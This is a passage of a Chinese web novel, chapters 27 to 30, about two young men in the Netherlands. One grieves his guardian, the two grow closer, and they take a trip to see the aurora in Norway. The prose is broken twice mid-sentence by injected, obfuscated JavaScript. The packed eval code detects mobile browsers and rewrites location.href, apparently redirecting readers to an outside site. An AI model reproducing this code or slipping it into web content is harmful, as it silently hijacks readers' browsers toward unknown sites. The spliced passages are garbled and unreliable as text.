“我又给你铺了一层土,间断着撒了些肥料,今晚用水汽喷湿,明天应该就能种了。” “你不是不会吗?” 庄迭饶有兴趣地看着他。慕华年脸上没有丝毫心虚,“没这么系统地种过,但是我爸妈爱养花,会买那种盆栽,我大概知道一点。” 慕华年好像从来让人抓不到把柄,他好像真的不会说谎,庄迭觉得这在现在这个时代太难得了。 “你准备做什么?”慕华年看着架起来的几口锅,分别煮着不同的东西,“西餐吗?” “家里没多少东西了,我们去买花的时候还得买点菜。我大概看了看,只剩下两块牛排和一点蔬菜,我做个罗宋汤,煎个牛排行吗?” “确定自己能搞定?” “能的,肯定能的。” 庄迭说这话的时候有点心虚,因为他刚才腌牛排的时候好像盐放多了,他又用水冲了一遍,不知道最后会不会咸。 事实证明牛排不咸,但太老了,老到慕华年觉得自己可以吃一辈子。 “你……我……算了,你尝尝汤。” 庄迭自己吃了一口,简直是两眼一黑,于是伸手把汤往慕华年眼前推了推。他记得自己是按照张宪的手法做的,但他忘记关注张宪在加热过程中调过一次火。 “吃吧,也能吃。”仅限于能吃。 慕华年说得很勉强,吃得更勉强,但还是把盘子里的东西吃完了,最后用罗宋汤顺了顺,咂摸着味道,说:“汤不错,下次还能做。” “牛排也可以的。” 庄迭小声抱怨,却也自知理亏,他的那份他真的吃不动了,他胃口还是没恢复,吃一点就想吐。 慕华年见过庄迭的正常饭量,自然明白他的反常。虽然从墓园回来他总是时不时笑一下,可那笑不达眼底,这双好看的眼睛还是常含泪水。 “还想吃别的吗?”慕华年抬头问。庄迭摇了摇头,他就又问,“蛋炒饭也不吃?” 庄迭犹豫了一下,点点头,端好歹把罗宋汤喝完了。 实际上那天的蛋炒饭他也吃得很慢,一口一口送进嘴里,伴着眼泪咽下去。 “那天想吃蛋炒饭,是因为张叔原来也不会做饭。我们刚来荷兰的时候,吃了半个月蛋炒饭。后来我吃厌了,他再也没做过。” “慕华年,我还是想他怎么办?” 27. 第 27 章 思念是无解的。 没有人能代替张宪在庄迭心里的位置。 接下来的几天,慕华年白天去学校,庄迭因为请了假,就天天开车接送。慕华年笑着说自己小学就不用爸妈接了,庄迭说那不一样。问他哪里不一样,他又不说话了。 还是不一样的,比如爸妈接送不会让人误会。 李家杰在校门口遇见慕华年时,他正从车上下来。驾驶座的庄迭探出头,说:“我下午会迟一点来,张叔还有些手续要办。” “我在图书馆等你。” “住一起了?”李家杰凑过来。 慕华年稍稍拉开距离,反而显得欲盖弥彰,“他家里出事了,情绪不好,我陪陪。” “哦,陪陪,”李家杰话里有话。慕华年瞥了他一眼,他就笑着继续说:“你们挺般配的。” 是吗?慕华年一早上都在想这句话。 “不走?” 下午下课,李家杰又迎上来。早上没问清楚,他心里也藏着事,心绪不宁的。 “等人,你先回吧。” “等Ash吗?” 慕华年回了他一个“明知故问”的眼神,李家杰笑着继续说:“那我换个问法,在一起了?” “这么关心我的私生活?” “可不是吗?你知道多少人问我要你联系方式吗?你那次上完课讲完作业就跑了,留我一个人在风中凌乱。” 慕华年嘴角噙着笑,“你也都别理。我不太擅长交际,言多必失。” “懂,守身如玉。” 慕华年难得没反驳,瞧见李家杰跟在他身边也朝图书馆去,回头问:“不找女朋友去了?” “冷战呢。” “怎么了?” “这么关心我的私生活?” 慕华年不问了,加快步子往前走,倒是李家杰沉不住气求饶,一口气全说了。前几天慕华年请假,他憋着没人说话,难受好些天了。 “LLM不是一年吗,我家里让我明年回去帮我哥,他搞实业,我搞市场。” 慕华年想起李家杰之前问的问题,不自觉地皱眉,问:“她传媒两年是吗?那就要异地了?” “何止异地啊!要是一年也就算了。她爸妈就她一个,想让她一直读下去,留在荷兰。这儿节奏慢,香港活着太累。” 慕华年不知道在想什么,脸色越来越差,却主动追问:“那你怎么说?” “还能怎么说,”李家杰叹了口气,路过自动贩卖机买了两罐冰可乐,顺手递给慕华年一罐,“我不想分手啊。认识了十年,谈了六年,她第一次来月经都是我给买的卫生巾,这我能舍得让给别人?” “占有欲作祟?” 慕华年停住脚,和李家杰站在图书馆门口,吹着风喝冰可乐,这是他平生第一次去打听别人的感情生活。 “有这个原因吧。小时候两家父母都忙,她差不多算我带大的。要是没成男女朋友,我都很难想象她出嫁那天,身边站着的不是我。” 李家杰靠着墙,他不算顶帅的男生,也不像慕华年气质突出,他是那种放在人群里会被一眼看到,可转头就忘了的类型。 慕华年走过去和他并排靠着墙,又猛灌了一口可乐,凉得嗓子都有些疼。 “手肯定不能分,荷宜也不能受委屈。我再想想办法,反正我哥一个人干得也挺好。” 李家杰嘴上这么说,慕华年听得出他底气不足。 慕华年没有仔细问过李家杰的家世,可几次聊天都能觉出些端倪。他不知道这些大家族是不是都像小说里那样利益盘根错节,可他由衷希望他们能白头到老。 李家杰对郑荷宜很上心。看过正确的范本后,慕华年更清楚地知道自己那段草草结束的初恋有多失败,自己有多失败。 也许恋爱不该有个固定模板,但该有的要素总归不能少。 “来,礼尚往来。我说完我的心事,该你了。” 李家杰提起一口气,脸上重新堆上笑。但慕华年不知道怎么说,尤其在听完这段故事之后。 “William!你好啊!” 庄迭适时出现,解救了慕华年。他朝李家杰打招呼,自然地站到慕华年身边。 “我们要去新开的西班牙餐厅,一起吗?” 李家杰很识趣,连忙摆手,说:“不了,陪女朋友去呢,你们尽兴。” 慕华年眼神复杂地看了他一眼,李家杰晃了晃手里的可乐罐,转身往校门口走去。 “不冷吗?不是说在图书馆等?” “还行,走吧。” 慕华年有点反常。庄迭很敏锐地察觉到了。 两人上车后都没主动说话。庄迭定位到餐厅,排队等了十五分钟。期间慕华年一直沉默,直到坐下才问庄迭想吃什么。 “我们等下再点。” 庄迭拿过菜单,对侍者点点头,然后认真地看着慕华年,说:“慕华年,你能答应我一件事吗?” “你说。”慕华年难得晃了神。 “只要是和我有关的事,别瞒着我。好的坏的都别瞒,也别打着为我好的旗号替我做决定。” “庄迭,”慕华年没直接回答,他喝了口桌上的冰水,“你毕业什么打算?” “嗯?”庄迭显然没料到他会问这个,一时间表现得像个被抽查背诵的学生,“我现在在创业,就你看到的车队算是一部分吧,还有其他的。” 庄迭没细说自己在做什么。他想等成功那天再给慕华年看,他觉得那天不会太远。 慕华年点头,继续组织语言,“和路远舟留在荷兰吗?” 庄迭什么都懂了。他抬头看着慕华年,眼底浮起不可言说的温柔,紧接着摇了摇头,叫来侍者点了几个菜,等点完又问慕华年可以吗,后者依旧只是点头。 “慕华年,”庄迭倾身过来,手托着下巴,眼睛眨巴眨巴,“你是在考虑我们的未来吗?” 慕华年抿着嘴不说话。今天的他沉默得有点像出国前的样子。 “是不是只有规划好一辈子,你才愿意和我开始?”庄迭语气吊儿郎当,但认真程度不输慕华年半分,“还是说,只要未来有一点困难,你就要逃跑?” “我不会。” “那不就得了?”庄迭重新靠回椅背,目光却没从慕华年身上移开,“你是不相信我,还是不相信你自己?” 庄迭甚至不知道这句话哪里说错了,但原本缓和下来的慕华年再次陷入沉默,并把这份难以言说的沉默带回了家。 “我有点困,先去睡了。明天起来给你做早餐。” 这是慕华年为今夜预留的最后一句话,说完后他转身上楼,庄迭没有追问,回到了他自己的卧室。 可人在生气的时候不能一个人待着,不然越待越生气。 凌晨,庄迭的卧室门被推开,他裹着法兰绒睡袍,趿拉着拖鞋走进小花园。 上周末他和慕华年忙活了一整天,大清早去花市采购。慕华年本来只想买种子,庄迭却看上了几株小苗。 他的 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慕华年缓缓点头,拉过另一把竹椅坐下,眼神瞟到了庄迭藏在睡袍下的脚,不太自然地扭过头去看花。庄迭没注意到他的动作,喝了一口可可,用袍子将自己裹得更紧,说:“我和张叔说过你。” “怎么说的?” “我和他说我会带你来见他,我想和你在一起一辈子。” 见慕华年又成了个鹌鹑,庄迭笑着摇头,“我想过很隆重很正式地再和你表白一次,就用我这一园子的花。我知道在你看来,无论是那天晚上还是今天,我说的话都像是在开玩笑。可慕华年,我很认真的。” “张叔起初也不太同意,估计也怕我只是随便玩玩,”慕华年听着,转头看了一眼庄迭,听到他继续说:“但后来他告诉我,人千万不能做让自己遗憾的事。” “其实张叔自己有过一个女儿,”庄迭话锋一转,靠在椅背上缓缓说,“那时候他还在部队,一年只能回去两次。小姑娘的妈妈是当地商场的售货员。那天她上夜班,回家发现女儿不在家,找了三天,最后才给张叔打电话。人找到了,没了。她那年才不到十五。” “怎么回事?” “学校里受欺负了,因为别人都有爸爸,就她没有。” 庄迭叹了一口气,手里握着发烫的马克杯,嘴唇若有似无地碰触着杯沿,睫毛上蒸腾了些许水珠。 “可其实她有的,她有最好的爸爸,但她爸爸连她最后一面都没见到。” “那之后一年,张叔就办了退伍,回家和妻子把婚离了。女儿没了,两个人心里都梗着刺,看不得对方。后来又过了三年,他就带我来了荷兰。我们两个离开的时候,都像是在逃。” 庄迭谈起张宪的过完,语气像是在回忆,也像是在记录。他是这世上张宪留下的最后一件遗物,除了他,没有人记得张宪是谁。 “张叔这辈子枪林弹雨里闯出来的,没什么怕的。唯独就怕孩子养不大,就怕人心里留了遗憾。” 慕华年听得出庄迭的言外之意。而庄迭也没打算隐瞒真心,他将双腿放下去,整个人坐得笔直,又把手上端着的马克杯也放到茶几上,面向慕华年,说:“在我的二十二岁,如果没有和你在一起,我会遗憾一辈子。” “慕华年,你舍得让我遗憾吗?” 慕华年藏在卫衣外套口袋里的手紧紧攥着。庄迭也不急着要他回答,说完想说的,他起身回了屋。 那时的慕华年依旧是懦弱的底色,又或者说他这辈子也就这样了,可庄迭离开时的背影太寥落,他总还是心软了。 28. 第 28 章 庄迭前前后后请了一个月假,连中期考试也办了缓考。路远舟原本两天一个电话,自从在葬礼上看见他和慕华年在一起,硬是憋了半个月没联系。 那天晚上的问题没有答案,但庄迭也不着急。他把憋在心里的话都说出来后,难得睡了个好觉。第二天醒来时,慕华年还穿着昨晚那件卫衣,正在厨房做早餐。 “早啊。”庄迭若无其事地走过去拿了片火腿。 慕华年看了他一眼,又转身用平底锅的余温热了一片,“先去洗漱。” “洗过了。我今天要回学校,把前段时间堆下的事情处理一下。” “好,我没课,陪你去。” 庄迭斜靠在餐台边,胳膊撑着台面,说:“不用,我二十多岁了,你又不是我的监护人。” 慕华年没想到当初的话能在此刻正中眉心。他手上组装三明治的动作顿了一下,庄迭笑着转身,帮他盖上最后那层吐司,然后很自然地拿起这份属于自己的早餐,不过还没走几步又转身问:“今天喝什么?” “牛奶。” 慕华年也不坚持,他把把温好的牛奶放到庄迭面前,转身往卫生间走。 “你不吃吗?” “吃过了。” 水声哗哗响起,庄迭脸上的笑意更深。 其实慕华年的心思挺好猜的,不能听他说什么,要看他做什么。至少二十三岁的慕华年根本藏不住。 昨晚那些话是故意激他的,今早看到他眼下的黑眼圈,庄迭就知道这招管用了。 不过庄迭也不是情窦初开的小男生,他明白心急吃不了热豆腐。慢悠悠吃完早餐,唇边沾了奶沫,他舔掉时突然又起了坏心思。 应该也不算太急吧?庄迭笑了笑,把餐盘放进洗碗机,径直走到浴室门口,故作正经地敲门:“能进去吗?” 里面水声停了,“不能。” “到哪儿一步了?我赶时间。我卧室的须后水空了,囤货都在这。” 门被拉开,慕华年裹着庄迭昨天留在卫生间的那件睡袍出来,头发还湿着,腰带也还没系好,胸口白花花一片。他沉了口气,转头从柜子上拿起一个小黑瓶,“这个?” “嗯,谢了。” 庄迭的目光毫不躲闪,像X光一样从慕华年的眉间扫到下颚,再到喉结,最后用眼神替他脱掉了那件碍事的睡袍。 当然只是目光直白。虽然他握着瓶子的手关节发白,但尚且存着一丝理智。庄迭打量着眼前秀色可餐的人,突然觉得早餐没吃饱,转身又要回厨房。 “你等等。” 庄迭回头,脸上挂着天真的笑,“嗯?” 慕华年这次看清了他落在自己胸口的目光,不太自然地整理好衣襟,走到他面前,语气认真,“还是我陪你去。” “好不容易没课,休息一下多好。” “你不需要我了?” “嗯?”庄迭这回真愣住了,半天没反应过来。等想明白后觉得好笑,“那你跟着吧,最好别让我有一刻独处的时间。” 那句话问得太直接,也太无理取闹了。 慕华年目送庄迭进教室,心里还在嘀咕,不知道自己怎么就说出这么没脑子的话。 “嘿!” 路远舟走过来时,慕华年还有些失魂落魄。他一巴掌拍在慕华年肩上,对方瞬间露出要发作的表情,看清是谁后又忍住了。 “你也补考?” “那不能,我是好学生。”路远舟凑过去看见庄迭在教室里和旁边人打招呼,心情不错的样子,“好兄弟回来嘛,当然是要来接风的。约了他考完去个地方,一起吗?” “去哪?” 路远舟扭头,眼睛一亮,“不是,真去啊?我随口一说,再说了我俩去的地方你不会感兴趣。” “不是你问我的吗?” “火气这么大,看来不太和谐?” 慕华年耳朵一瞬间红了,被路远舟堵得说不出话,作势要走,却被“赛车场”三个字叫住了。 路远舟看着慕华年停住的脚步,脸上表情很是精彩,“不是,怎么这就受不了了?国内教育出来的人都这么纯情吗?” 瞧见慕华年依旧局促,路远舟走过去拍了拍他的肩,“放松啦,不然你以为呢?这个点去红灯区或者酒吧都不合适吧。” 两人虽然两张嘴,却像一个模子刻出来的。 慕华年“嗯”了一声又要走,路远舟没再留他,却见到他走了两步竟然坐在了休息区的沙发上,随手拿了本架子上的杂志开始看。 “我发现你这人是真挺有意思。” 路远舟来了兴致。他以前只觉得慕华年话少,有个性,今天才看出庄迭喜欢他的原因——这人天生就是个矛盾体。 “既然决定坐这儿了,我也不能让你白等。我跟你说点话吧。” 慕华年没回应,但路远舟看见他目光盯在一处半天没动,于是笑着继续说:“我们家傻小子是谈过两段恋爱,但没做过什么出格的事。除了那两段,别人碰他一下他都能转身就走。” “嗯,这点你们俩倒是一个脾气,”路远舟笑着坐下,发觉慕华年不自在后往边上挪了挪,“要不怎么说中了你的毒呢。” “你不用和我说这些,他和我说过。” “你都信?” “信。” 说话的人没抬头,路远舟侧头看他。这么多句话里,就这句最笃定。路远舟抿抿嘴,抬手顶了顶镜框,问:“也就是不需要我替他使使劲儿了?” “不用。” “那成,希望他以后不要再抢我手机看你的微信了。” 慕华年手指捏着书页边缘,终究被这句话点着了。他合上书,认真看向路远舟。这一眼让路远舟也没料到,不自觉坐直身子,说:“别这么看我,我没把柄在你手上吧?” “他那段时间……怎么过的?” 路远舟神色定了定,低头浅笑,“还能怎么过,凑活过呗。从十八岁起,他每年都有几个月在医院。家里就两个人,他不干谁干。” “张叔第一次住院的时候,他也就是个刚成年的学生,他会不知所措。”路远舟望着庄迭教室的门,镜片后的眼睛难得严肃,“所以他最怕人生病,哪怕一点小感冒都不行,他会联想到很多。” “至于张叔,他对自己的身体很了解。他出海前就住过一段时间院,具体情况我不清楚,庄迭不给我说。但他出院的时候状态不算好,是庄迭送他上的船。这两个人太像了,一个比一个倔,也一个比一个细。” “如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111624|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是肖扬搞了那么一出,如果不是我们资金突然断裂,或许张叔不会回来。他会选择死在船上,然后葬在海里,就和他女儿一样。我知道他怕庄迭难受,事实证明庄迭就是很难走出来。” 路远舟停住了,看着慕华年,“心疼吗?他是挺让人心疼的。” 他说完向后靠在墙上,再开口时嗓子有点哑,“你别看他现在人高马大的,刚来荷兰时跟小鸡仔似的,胳膊腿一掰就能折。我这人有做大哥的梦想,看不得老乡这样,就主动拉着他玩。” “后来的这个庄迭,是张叔一碗饭一碗饭喂起来的。他胃不好,饭量不错但难吸收,张叔就变着花样给他做饭,什么补做什么。我呢,就每天从家里给他带零食,初中时他的嘴就没闲过。你也看到了,孩子养得挑不出错。” “说实话,像他这样出身的人我认识太多了。国外这圈子有几个干净的?家里面谁没点腌臢事?偏偏就他最要面子,又偏偏没妈。庄迭这个人啊,活得可别扭了。” “你也就偷着乐吧,”路远舟没动,仰头看了慕华年一眼,“我要是喜欢男生,轮得着你吗?” “哥们,”路远舟直起腰,很快又弯下去撑着膝盖,“和你说这么多,其实就一句话,我们家小孩干净着呢。他就是有时候做事冲动一些,但只要别让他碰着庄家的事就不会发作。他这个人好哄,好骗,我不说他心思单纯,但也称得上一根筋。你要是愿意就和他平平淡淡有个家,他能死心塌地跟你一辈子。” 路远舟觉得自己尽力了,该说的不该说的都吐出来了。他起身时庄迭刚好推门出来,他朝着慕华年努努嘴,丢下一句“我自己去测试”,转头就走了。 “他和你说什么了?他这人比我还不靠谱,你挑着听。” “没什么,走吧。回家给你做饭,今天烧排骨。” 如果说庄迭的话是试探,那路远舟的话就是直击命门。后来庄迭问过路远舟他究竟说了什么,路远舟只是神秘地笑。 从那天起,慕华年做饭不再是随心所欲想做什么就做什么,他开始查食谱,开始和周韵请教养胃的汤怎么做。有天他刚把食材下锅,电话那头的周韵犹豫着问:“有女朋友了?” “没有,给朋友做的。” “哦,朋友。中国人吗?” “对。” 慕华年还没想好怎么和家里说,但这不是问题,至少在他看来不是,也不能是。 除了食疗,慕华年也开始拉着庄迭晨跑。 说实话庄迭的体力还比他好些,无论是那天种花,还是最开始几天跑步,庄迭的身体数据都比慕华年好看。他跑完弯着腰喘气,点开手机上的数据,断断续续地嘲讽道:“就这还要督促我运动呢?哥,你不行啊。” 慕华年从前的体能是很好的,高中的时候是班里体育比赛的常客,什么都会点,还都能得分。后来就不行了。 面对调侃,慕华年用沉默地喝水以作回应。庄迭也不得寸进尺,就那两句说完就完了。他看着慕华年的身体数据其实心里会不安,毕竟才二十三岁,那些数字并不好看。 但庄迭没问过。他喜欢的是二十三岁的慕华年,过去的他与庄迭无关,慕华年遇到过什么人,经历过什么事,他都不在乎,他只要未来的慕华年越来越好。 29. 第 29 章 在庄迭的记忆里,他好像从没过过这样的日子。 起初他以为慕华年只是一时兴起,或者出于好意想让他快点走出来,才会对他这么百依百顺。可这样的日子一天天过去,像是没有尽头。 庄迭慢慢习惯了张宪的离开,因为他的生活被另一种习惯取代。 “慕华年!” 喊出这个名字,是庄迭醒来要做的第一件事。而只要他喊了,总能听到楼下厨房传来回应:“饭好了,可以下来了。” 慕华年最开始还挺讲究,做饭前总要收拾得整整齐齐,有时候穿得像要立刻去参加国际会议。后来大概是习惯了,开始偷懒,在早上还没换衣服的时候就去做饭,系着庄迭逛超市时专门为他买的围裙。 他的腰很细,只不过因为平日的衣服过于宽大而显不出来。庄迭承认,买这条围裙就是因为他还记得初遇那晚的画面。 “今天喝粥吗?” “嗯,第一次做,味道不敢保证。” 慕华年递来汤勺,里面盛了一小口。庄迭凑过去,不接勺子,直接就着他的手喝。 “懒死你算了。” 话是这么说,但庄迭笑的时候,慕华年也跟着低下头。他身上某些东西好像在慢慢消融,就像即将过去的冬天。 “好喝呢,你盛,我都能喝掉。” 庄迭不再闹他,乖乖坐在餐台旁的高脚凳上等。慕华年用手指弹了一下他的额头,刚要转身,桌上的手机响了。 “你接,开免提。” 庄迭拿起手机,看到备注是“周老师”,小声问:“你妈妈的电话,我方便听吗?” 庄迭知道慕华年父母的大概情况,都是慕华年主动说的。但说的都是基本信息,更像社区登记表上的内容,不涉及个人情感。 庄迭始终记得那句“我对家庭关系的处理也是一团糟”。 “我妈的电话为什么不方便?” 慕华年疑惑地看了庄迭一眼。庄迭耸耸肩笑了,接通电话。 “你那边是早上吧,吃饭了吗?” 原来是母子俩都最爱问人“吃了吗”。庄迭握着手机低头浅笑,慕华年看了他一眼,答道:“刚做好,正准备吃。” “那就行,早餐一定要吃,而且要吃好,你不要像大学时候那样凑合。钱还够吗?” “够,自己做饭花不了多少。” 慕华年把碗递过来,又扔了个勺子进去,示意庄迭把手机给他。庄迭摇摇头,他还想继续听。 “您快下班了?” 电话那头的周韵笑了,说:“上学上傻了?我放寒假呢,想着等你爸下班出去吃。” 要过年了。慕华年突然意识到了周韵这通电话的意思,他抿嘴想了想,说:“妈,今年我不回去了。” 电话两头都沉默了。庄迭一直低头看那碗粥,只在慕华年说完这句话时抬头看了他一眼。 “不用。”庄迭用口型说。 慕华年摇摇头,把手机拿过去调成听筒模式。 “往返机票七八千,荷兰又没有寒假,我回去也就待三五天,不划算。再说明年七月就毕业了,很快的。” 慕华年柔声解释,电话那头叹了口气,说:“当时你爸让你去香港,就是想着离家近一点。你倒好,一走走那么远。就这么不喜欢回家?” 慕华年由着周韵抱怨,最后说了句“对不起”。电话那头也发不出脾气了,只嘱咐两句注意身体,就挂了电话。 “你不用为我留下。” “吃吧,应该不烫了。” 慕华年又一次回避了庄迭的话。他在对面坐下,把茶叶蛋剥好放在餐盘里,又往庄迭粥里撒了点肉松。庄迭一勺一勺沉默地喝粥,时不时抬头看他。 许是被看得不自在,慕华年皱了皱眉,用筷子敲敲他碗沿,“先吃饭,你要迟到了。” “慕华年……” 庄迭话没说完,慕华年已经一口气喝完粥,起身回了卧室。 五分钟后,庄迭眼前出现两张机票——阿姆斯特丹到奥斯陆。 “很早就买好的,退了的话手续费很贵,而且已经改签过一次了。” 慕华年把自己的碗放进洗碗机,靠在桌台边看庄迭,“去吗?” 庄迭盯着机票发了很久的呆。手边的粥明明已经不烫了,可喝的时候心口还是浇下去一股暖流。再抬头时,他鼻尖有些红,“改签过一次?那原本定了什么时候?” 慕华年不说话。庄迭心知肚明,他放下勺子,半天不敢碰那张机票。 “圣诞节那天我看到你了。” “我知道,我也看到你了。” “慕华年,”庄迭声音有些抖,“我该怎么理解这张机票?” “庄迭,我们去看极光吧。” 这场旅行来得突然,至少对庄迭来说是这样。三天后他交完最后一篇论文,出门看见慕华年拉着他的行李箱等在楼道口。 慕华年记得他说过的所有话,不管是有心的还是无意的。而这份挪威的攻略他做了三个月,删删改改,连李家杰都被他问笑了,说他铁树开花。 他们到机场的时候,正好是国内的大年三十,慕华年卡着点给周韵打电话,庄迭借口去卫生间回避。慕华年看了他一眼,眼神复杂。 “妈,新年快乐。” 周韵那边很吵,估计是约了朋友一起过年。她笑着回:“你也是,新年快乐。别一个人待着,去和朋友玩玩。” “嗯。”慕华年没把这趟旅行告诉周韵,他看着玻璃窗外罕见的晴天,“妈,我毕业如果还要在荷兰待几年,可以吗?” 电话那头沉默片刻,传来慕孝文的声音,“找到女朋友了还是找到工作了?男孩子闯一闯也行,但你走太远我们就管不到了,要全靠你自己。” “我知道,”慕华年没有回答慕孝文的问题,“你们照顾好身体。我工作后有年假,而且这边假期也多,方便的话攒一攒回国看你们。” “别担心我们,小年,我们比较担心你。” 慕华年还没来得及回应,就看见庄迭从卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111625|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生间探出头,无意般看向他。原本紧绷的他突然笑了,慕孝文问:“旁边有人?交到朋友了?” “嗯,我和他一起过年。” “你给做饭的那位?” “妈都和你说了?”慕华年笑意更浓,“是他。” 慕华年没再多说,慕孝文也不问,再开口时语气轻松了些,“有人陪着就行。在哪都是为了那口饭,你自己舒服最重要。小年,有时候你可以自私一点。” 电话挂了。 庄迭端着杯水走过来,在他面前晃了晃手,“怎么了?” “没事,老两口没我也开心着呢。我爸朋友多,过年冷清不了。” “那就行。”庄迭咬着杯沿,“我还担心把他们儿子拐跑了,他们要怪我呢。” 慕华年抬手拍了他一下,庄迭笑着耸耸肩。 庄迭把杯子随手扔进垃圾箱,接过行李箱的时候碰到了慕华年的手指。他没动,慕华年也没动。 慕华年始终没给他任何答案,可他做的一切又好像就是答案。 这就够了。庄迭垂着眼,手又往热源挪了挪,包裹住拇指,再划过手背,稍稍用力,紧紧握住了慕华年的手。 这双手迟迟没有分开,直到他们上了飞机,发现座位不在一起。 “改签的,所以没票了。” 看着庄迭有些委屈的表情,慕华年眉眼一松,“时间不久,下去再给你牵。” “好。” 路远舟没骗人,庄迭是真的很好哄。慕华年继续朝后面走,坐下后一眼找到了那个毛茸茸的脑袋。庄迭也在看他,很快手机响起微信提示音。 “没有人陪好无聊,我要睡觉啦。” “好的,午安。” 庄迭盯着手机,转身朝后面做了个鬼脸,“不该说‘我陪你聊天吗’?” “也行,你说,我听着。” “是聊天!” “哦。” 算了。庄迭叹了口气,果然不能指望慕华年一夜之间学会谈恋爱,毕竟他们也还不是恋爱关系。 “这次真睡了。” “庄迭。” 对面用语音叫了他的名字。庄迭眼睛眨了眨,突然觉得脸有些烧。 慕华年叫得太认真了。 “睡吧,去梦里见我。” 谁说慕华年不会谈恋爱了。庄迭盯着屏幕发呆,不敢再回头。他怕自己控制不住,在这万米高空上把慕华年给办了。 “慕华年,我们是在谈恋爱吗?” “是。” 那天落地时,奥斯陆的落日为他们接风洗尘。 两个人前后脚离开廊桥,慕华年的手心就被塞进一个温暖的东西。他不用低头就知道是谁,于是笑着把自己的手和庄迭的手一起塞进口袋。 这是慕华年第一次出国旅行,如果不算因为上学而在荷兰随便逛逛的话。出发前他从各种国内的社交平台收集攻略,手机上下满了能用到的软件。 从落地那一刻起,他脑海中的地图就徐徐展开。 30. 第 30 章 庄迭之前来过挪威。 那时张宪刚结束第一次住院治疗,他看着庄迭每天守在他身边只觉得心疼。于是等回家后,二话不说把庄迭的东西打包扔给路远舟,让他随便带庄迭去哪都行。 那次他和路远舟租了辆车,两个人像疯了一样跑遍挪威的酒吧,昏天黑地地在酒精里下沉。 这次再来挪威,不知道是心境不同还是身边的人不同,庄迭只觉得一切新奇如初见。他站在海达尔木条教堂外,看着尖顶刺破挪威苍茫的天际线,拍下了旅途中的第一张照片。 照片里,慕华年背对着他,像个虔诚的信徒。 只是刚按下快门,庄迭就被涌进教堂的人流推到了祭坛前。他回头找慕华年,发现自己正贴着对方的胸口。 “我在呢。走吧,进去看看。” 教堂的中央,红毯一直铺到他们脚下。正在布置婚礼的村民看到这对异国面孔,露出了不明就里的微笑。 “我们好像闯进别人的婚礼了。”庄迭低声说,耳根微微发烫。 慕华年看着他笑了笑,抬头望向祭坛上古老的木质十字架,说:“我们运气好。” 一旁的牧师正在调试管风琴,悠扬的琴声在千年梁柱间流淌。慕华年感觉庄迭的手不经意碰到他的,指尖传来温暖的触感。还没等他反应,两只手已经自然而然地交握在一起,十指相扣。 “慕华年,”庄迭突然转头,“我们会结婚吗?” 慕华年没有回答,他望着窗外覆满白雪的山峦,问:“你喜欢这儿吗?” 最后谁都没回答对方的问题,说不清是为什么。明明答案呼之欲出,心里却都藏着什么。 最后连这场婚礼他们也没有看完,当新人在神父见证下宣誓时,庄迭起身离开了教堂。 “下一站去哪?” “去泡温泉。” 说来好笑,提议泡温泉的人在水池边坐了半个晚上。 庄迭浸在温暖的泉水里,看着呼出的白气在零下二十度的空气中凝结成霜,问:“你不下来吗?” 他说话时没回头,没看见慕华年发梢上那层细小的冰晶,在极地微弱的月光下闪闪发光。 “要不你去另一个池子?”庄迭说完自己先笑了。他的手划过水面,任由抓不住的水从指尖流淌而过。 或许是有些太快了。庄迭眼神暗了暗,索性闭眼枕在池边。 可困意袭来时,他感觉了水流无规律地冲刷胸口——慕华年下来的时候温泉水波轻轻荡漾。他们的膝盖在水下不经意相触。 “上次来的时候,我听当地人讲了个故事,”庄迭依旧闭着眼,“他们说,在极地温泉里分享体温的人,会分享彼此的命运。" “慕华年,我们分不开了。” 身边溅起水花,庄迭嘴角微微上扬。 哪有这么神奇的故事,不过是他希望成真罢了。 “冷吗?”慕华年突然问。 庄迭摇头,却发现慕华年已经在水中找到他的手。温泉水包裹着交握的双手,他又听见慕华年的声音:“你的手在抖。” 或许是吧。庄迭任由他牵着,这次不是十指相扣,而是慕华年一下下摩挲着他的手指。 “庄迭,天黑了。” “嗯。” “去看极光吗?” “好。” 庄迭觉得,现在慕华年说什么他都会说好。 李家杰诚不欺他。慕华年带着庄迭从温泉里出来的时候还是一片黑夜,等开车追光时,天边已经能看到星星点点的光晕。 “我上次来没看到,”庄迭握着方向盘说。慕华年摇下车窗,让夜风吹进来,“也可能那个时候的我什么也看不见。” 慕华年转头看他。庄迭的手指在方向盘上轻轻敲着,“我第一次觉得我运气其实不错。张叔走了,你就来了。老天爷到底舍不得让我一个人。” “他也知道我害怕一个人。” 庄迭的声音很轻,带着温泉未散的热气,朦胧了慕华年看他的眼神。 “庄迭,你一定要幸福。”慕华年莫名说了这么一句。 庄迭笑了笑,答了一句“好”,随后又说:“那你陪我幸福吗?” 慕华年轻轻“嗯”了一声,没再说话。 今天是慕华年的生日。他已经很久没有许过愿了。 他希望这个愿望里,可以有他。 那天的极光像是得了指令,庄迭的车停下,曲折的光圈如同泼墨山水,也像是有人为他们播着绚烂的幻灯片。谁都没再说话,两人眼中映着同一条星轨。 “慕华年。”庄迭开口时带着颤音,不知是因为冷还是别的。 “嗯?” “我们还可以再去丹麦吗?” “可以。” “冰岛呢?” “也可以。” “还有……” 庄迭的话没说完,寒风灌入口腔,紧接着是温热的舌尖试探着他的深浅。慕华年用第一个主动的吻堵上了他的话,也回答了他的所有问题。 都可以。 